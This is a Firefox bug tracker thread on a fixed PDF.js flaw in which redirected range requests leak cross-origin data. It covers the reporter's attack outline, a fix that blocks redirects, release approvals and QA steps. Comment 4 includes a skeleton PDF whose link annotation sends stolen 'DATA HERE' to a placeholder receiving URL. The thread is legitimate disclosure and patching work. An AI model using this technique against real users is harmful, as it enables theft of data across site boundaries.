Cross-origin information leakage via redirected PDF requests
Categories
(Firefox :: PDF Viewer, defect)
Tracking
()
People
(Reporter: robwu, Assigned: bdahl)
References
()
Details
(Keywords: csectype-sop, sec-high, Whiteboard: [adv-main85+][adv-esr78.7+][sec-survey])
Attachments
(3 files, 1 obsolete file)
48 bytes,
text/x-phabricator-request
|
jcristau
:
approval-mozilla-beta+
RyanVM
:
approval-mozilla-esr78+
tjr
:
sec-approval+
|
Details | Review |
1.24 KB,
application/x-javascript
|
Details | |
243 bytes,
text/plain
|
Details |
I posted a write-up of a vulnerability in the networking code of PDF.js at https://github.com/mozilla/pdf.js/issues/12744
In short, when multiple network requests are sent for parts of the PDF file, responses that belong to a different origin (e.g. due to redirects) should be rejected. This does not happen.
After some code inspection, I found that the vulnerability can currently be exploited under some specific circumstances circumstances. The only requirements for exploitation are:
- Victim website (from where cross-origin data is stolen) responds to Range requests with HTTP 206.
- note: the fact that HTTP 206 is required slightly lessens the impact, since it means that servers that don't respond to Range requests (I suppose most regular web content would more likely respond with HTTP 200 than 206) aren't affected.
- Limited user interaction: User must click once in an attacker-controlled area (rendered PDF file).
To carry out the attack:
- Prepare a server that serves the head and tail of a crafted PDF file that triggers the Range request mode of PDF (=loading PDF data in chunks over the network). In between the head and tail, at a well-chosen offset, there are redirects for Range requests to the victim website.
- To the PDF viewer, the generated PDF file looks like a regular PDF file that contains a link (e.g. the
GoToR
action). - By the construction of the PDF at step 1, any click within the PDF file will trigger a navigation to the URL, and the URL will contain the cross-origin data (from the redirection target).
- To execute the exploit, the user must be tricked into clicking in the PDF.
I haven't attached a PoC because I haven't bothered with constructing a PoC server with a good head/tail + offsets that triggers the vulnerable code path in PDF.js, but I did create such a PoC before in https://crbug.com/653749 (CVE-2016-5206).
Assignee | ||
Comment 1•4 years ago
|
||
As mentioned in the github bug, the easiest way to fix is use a xhr.channel.QueryInterface(Ci.nsIHttpChannel).redirectionLimit = 0;
on the range requests, but it is more restrictive. I've got that working locally with some dummy servers, but I'm going to try and create some mochitests that we can land later. I'd also like to try the other way of verifying the origin, but unfortunately, with all the range requests and redirects the mochitest is not straightforward.
Reporter | ||
Comment 2•4 years ago
|
||
Rather than creating a PDF file that triggers the vulnerability, it may be easier to call pdf.js.message
events to invoke the API and verifying that the message handler behaves as expected (i.e. rejects unexpected/cross-origin/non-PDF responses).
The original report here is about range requests. It just occurred to me that the non-range request variant can also be abused to perform universal reads of any website (simply by serving a PDF first without caching and then redirecting the same URL to an arbitrary destination of choice). That meant that IF an attacker manages to run code in the context of the PDF Viewer, that they can effectively send network requests and read its response without limitations.
That is a serious vulnerability on its own that would be patched by rejecting redirected requests.
Feel free to add me as a reviewer to any patch, I'll take a look despite being on PTO.
Assignee | ||
Comment 3•4 years ago
|
||
In the Firefox case, how is data extracted? The onmessage/postmessage method used in the chrome exploit won't work with Firefox and pdf.js as far as I can tell.
Reporter | ||
Comment 4•4 years ago
•
|
||
(In reply to Brendan Dahl [:bdahl] (84 regression triage) from comment #3)
In the Firefox case, how is data extracted? The onmessage/postmessage method used in the chrome exploit won't work with Firefox and pdf.js as far as I can tell.
Right - in Chrome it was possible to automate exploitation by using an accessibility API to exfiltrate data.
PDF.js does not have such an API yet (at least not until the WIP scripting capability is extended), so alternatives are:
- comment 0: trick the user into triggering a network request with the attacker's choice of payload.
- comment 2: find a separate vulnerability in PDF.js to have code execution in the viewer, and abuse the
pdf.js.message
handler + redirects to read data.
In more detail:
To exploit comment 0, you would stitch together a PDF file from different origins (possible due to redirects of PDF file). Below I wrote a minimal example of such a file, structurally. At "DATA HERE", the server would redirect. In practice the file needs more padding (and the server should intentionally slow down the response so that the PDF viewer is forced to perform a range request to prioritize the loading of the DATA HERE chunk).
To exploit comment 2, the attacker needs another vulnerability that enables an attacker to run code in the PDF viewer document. When an attacker can execute code in the viewer, it can trigger pdf.js.message
events, one of which is a mechanism to request data of the PDF file. PdfJsNetwork.jsm
's NetworkManager
is passed the URL of the requested PDF file, presumably to ensure that the unpriviled resource://pdf.js
page only loads the PDF file. But because of the redirects, anything could be loaded.
Attachment below: minimal PDF file to showcase the requirements of the PDF that the attacker needs to send to exploit comment 0. To turn this into a full exploit, the attacker needs to add some padding inside the file and serve the PDF from an intentionally slow server, so that PDF.js uses range requests to try and request missing bytes. In this way, due to redirected range requests, it would be possible to steal DATA HERE
(presumably data from a different server, after redirects).
%PDF-1.1
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids[3 0 R]/MediaBox [0 0 200 100]>>
endobj
3 0 obj
<</Annots[5 0 R]/Type/Page/Parent 2 0 R/Resources<</Font<</F1<</Type/Font/Subtype/Type1/BaseFont/Arial>>>>>>/Contents 4 0 R>>
endobj
4 0 obj
<</Length 43>>
stream
BT/F1 20 Tf 39 44 Td(Click this link) Tj ET
endstream
endobj
5 0 obj
<</A<</S/GoToR /Type/Action/F(http://example.com/receive_here)/D 6 0 R>>/H/P/Rect[0 0 200 100]/Subtype/Link/Type/Annot>>
endobj
6 0 obj
(DATA HERE)
endobj
xref
0 7
0000000000 65535 f
0000000008 00000 n
0000000054 00000 n
0000000128 00000 n
0000000269 00000 n
0000000360 00000 n
0000000496 00000 n
trailer
<</Root 1 0 R/Size 7>>
startxref
523
%%EOF
Assignee | ||
Comment 5•4 years ago
|
||
Updated•4 years ago
|
Reporter | ||
Comment 6•4 years ago
•
|
||
Brendan, your patch in comment 5 fixes the vulnerability from comment 0, but not the vulnerability from comment 2 (more details for both in comment 4). Are you intentionally keeping the second vulnerability open (for a follow-up)?
An easy way to fix the issue from comment 2 is to also block redirects for non-range requests, but that is more likely going to cause regressions.
A less risky (i.e. not unnecessarily restrictive) way to resolve both issues at once is to check xhr.responseURL
before processing the response.
I'll leave the choice to you.
EDIT: Brendan pointed out that the code path for the second issue is unreachable dead code. It's fine to proceed with just the fix for the bug from the initial bug report.
Assignee | ||
Comment 7•4 years ago
|
||
Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Not very easily, but the bug has been discussed publicly in https://github.com/mozilla/pdf.js/issues/12744
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
- Which older supported branches are affected by this flaw?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Easy, code hasn't changed much in many versions. Should be the same patch.
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely, there's the potential that ranged loading of PDFs that redirect requests would be slower to load, but we should fallback to streaming the PDF in that case. Our usual test suite should cover most of the normal cases for loading PDFs.
Updated•4 years ago
|
Comment 8•4 years ago
|
||
Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu
Approved to land and request uplift
Updated•4 years ago
|
![]() |
||
Comment 9•4 years ago
|
||
https://hg.mozilla.org/integration/autoland/rev/3fa0e1eb3dadb80ce67de82bdcfd655fe91dd1d0
https://hg.mozilla.org/mozilla-central/rev/3fa0e1eb3dad
Assignee | ||
Comment 11•4 years ago
|
||
Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu
Beta/Release Uplift Approval Request
- User impact if declined: Potential security bug.
- Is this code covered by automated tests?: Yes
- Has the fix been verified in Nightly?: No
- Needs manual test from QE?: Yes
- If yes, steps to reproduce: Ensure a large pdf loads correctly, e.g. https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf
- List of other uplifts needed: None
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Small code change that has a fallback path.
- String changes made/needed: none
Assignee | ||
Updated•4 years ago
|
Comment 12•4 years ago
|
||
Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu
approved for 85.0b9
Comment 13•4 years ago
|
||
uplift |
Assignee | ||
Comment 14•4 years ago
|
||
Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu
ESR Uplift Approval Request
- If this is not a sec:{high,crit} bug, please state case for ESR consideration:
- User impact if declined: Potential security bug.
- Fix Landed on Version: 86
- Risk to taking this patch: Low
- Why is the change risky/not risky? (and alternatives if risky): Small code change that has a fallback path.
- String or UUID changes made by this patch: none
Comment 15•4 years ago
|
||
Comment on attachment 9195266 [details]
Bug 1683940 - Don't follow redirects on range requests for PDFs. r=robwu
Approved for 78.7esr.
Comment 16•4 years ago
|
||
uplift |
Updated•4 years ago
|
Updated•4 years ago
|
Comment 17•4 years ago
|
||
I've tried to reproduce this bug by loading a large pdf file, as per instructions from comment 11, but I didn't see any difference between an affected Nightly build (86.0a1, 2020-12-22) and Beta 85.0b9. The pdf's were displayed correctly with both builds, on macOS 10.15 and Win 10.
Hi Brendan, is there any testcase or a PoC available, that can be shared in order to reproduce this issue?
Reporter | ||
Comment 18•4 years ago
|
||
str |
comment 11's STR is about verifying that the fix doesn't cause regressions, but it doesn't trigger the bug and is not deterministic either.
STR for QA:
- Download the attached Node.js script and start it (
node str-proxy.js
from the terminal)
(the script is a proxy (to the large PDF from comment 11), that redirects all range requests) - Open the developer tools of Firefox. Open the Network tab and change the "No throttling" dropdown in the upper-right corner to "Good 3G".
- Visit
http://127.0.0.1:8081/test.pdf
- Wait a little bit (a few seconds).
- Look at the output of the program from step 1. (this will print all requests, including the
Range
requests in particular) - Wait for the progress bar to crawl to the end, and check if the PDF is loaded.
Expected:
- step 5 should end with "redirecting response to ?redirTarget", and NOT be followed by
TEST FAILED: Redirect was unexpectedly followed
. - step 6 should not be displaying any PDF at first. The PDF should only be rendered upon completion (based on the server response from the initial load at step 3).
Actual:
- Step 5 contains several
TEST FAILED: Redirect was unexpectedly followed
lines in the output. - Step 6 renders the PDF file soon after the initial load, which shows that the redirect was followed
Comment 19•4 years ago
•
|
||
Thanks Rob, for the detailed steps.
I have reproduced this bug using an affected Nightly build (2020-12-22), on macOS 10.15.
This is verified as fixed on Beta 85.0b9, latest Nightly 86.0a1 and 78.7esr, across platforms: Win 10 x64, macOS 10.15 and Ubuntu 20.04 x64.
Updated•4 years ago
|
Updated•4 years ago
|
Comment 20•4 years ago
|
||
Comment 21•4 years ago
|
||
Comment 22•4 years ago
|
||
As part of a security bug pattern analysis, we are requesting your help with a high level analysis of this bug. It is our hope to develop static analysis (or potentially runtime/dynamic analysis) in the future to identify classes of bugs.
Please visit this google form to reply.
Assignee | ||
Updated•4 years ago
|
Updated•4 years ago
|
Updated•4 years ago
|
Description
•